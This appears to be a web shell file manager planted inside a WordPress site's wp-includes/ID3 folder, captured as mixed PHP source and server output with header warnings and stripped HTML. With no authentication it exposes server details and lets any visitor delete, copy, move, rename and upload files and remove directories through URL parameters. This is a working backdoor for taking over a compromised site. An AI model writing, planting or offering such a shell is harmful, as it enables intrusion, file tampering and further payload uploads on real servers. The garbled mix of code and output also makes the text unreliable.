Warning: Cannot modify header information - headers already sent by (output started at /home/tarafhaber/public_html/wp-includes/ID3/index.php:1) in /home/tarafhaber/public_html/wp-includes/ID3/index.php on line 219
Warning: Cannot modify header information - headers already sent by (output started at /home/tarafhaber/public_html/wp-includes/ID3/index.php:1) in /home/tarafhaber/public_html/wp-includes/ID3/index.php on line 220
Warning: Cannot modify header information - headers already sent by (output started at /home/tarafhaber/public_html/wp-includes/ID3/index.php:1) in /home/tarafhaber/public_html/wp-includes/ID3/index.php on line 221
Warning: Cannot modify header information - headers already sent by (output started at /home/tarafhaber/public_html/wp-includes/ID3/index.php:1) in /home/tarafhaber/public_html/wp-includes/ID3/index.php on line 222
Warning: Cannot modify header information - headers already sent by (output started at /home/tarafhaber/public_html/wp-includes/ID3/index.php:1) in /home/tarafhaber/public_html/wp-includes/ID3/index.php on line 223
Warning: Cannot modify header information - headers already sent by (output started at /home/tarafhaber/public_html/wp-includes/ID3/index.php:1) in /home/tarafhaber/public_html/wp-includes/ID3/index.php on line 224
Server: " . $_SERVER ['SERVER_NAME'] . "
";
echo "Current directory: " . getcwd() . "
";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'];
echo "
";
echo "
";
echo "
";
$mode = $_GET ['mode'];
switch ( $mode ) {
case 'delete':
$file = $_GET ['file'];
if ( unlink( $file ) ) {
echo $file . " deleted successfully.";
} else {
echo "Unable to delete " . $file . ".
";
}
break;
case 'copy':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if ( empty ( $dst ) ) {
echo "
\n";
} else {
if ( copy( $src, $dst ) ) {
echo "File copied successfully.\n";
} else {
echo "Unable to copy " . $src . ".
\n";
}
}
break;
case 'move':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if ( empty ( $dst ) ) {
echo "
\n";
} else {
if ( rename( $src, $dst ) ) {
echo "File moved successfully.\n";
} else {
echo "Unable to move " . $src . ".
\n";
}
}
break;
case 'rename':
$old = $_GET ['old'];
$new = $_POST ['new'];
if ( empty ( $new ) ) {
echo "
\n";
} else {
if ( rename( $old, $new ) ) {
echo "File/Directory renamed successfully.\n";
} else {
echo "Unable to rename " . $old . ".
\n";
}
}
break;
case 'rmdir':
$rm = $_GET ['rm'];
if ( rmdir( $rm ) ) {
echo "Directory removed successfully.
\n";
} else {
echo "Unable to remove " . $rm . ".
\n";
}
break;
case 'upload':
$temp = $_FILES['upload_file']['tmp_name'];
$file = basename( $_FILES['upload_file']['name'] );
if ( ! empty ( $file ) ) {
if ( move_uploaded_file( $temp, $file ) ) {
echo "File uploaded successfully.
\n";
unlink( $temp );
} else {
echo "Unable to upload " . $file . ".
\n";
}
}
break;
}
clearstatcache();
echo "
\n\n
";
echo "\n";
$files = scandir( $dir );
foreach ( $files as $file ) {
if ( is_dir( $file ) ) {
$items = scandir( $file );
$items_num = count( $items ) - 2;
echo "" . $file . " | ";
echo "" . $items_num . " Items | ";
echo "Remove directory | ";
echo "- | ";
echo "- | ";
echo "Rename directory |
";
}
}
foreach ( $files as $file ) {
if ( is_file( $file ) ) {
$size = round( filesize( $file ) / 1024, 2 );
echo "" . $file . " | ";
echo "" . $size . " KB | ";
echo "Delete | ";
echo "Copy | ";
echo "Move | ";
echo "Rename |
";
}
}
echo "
";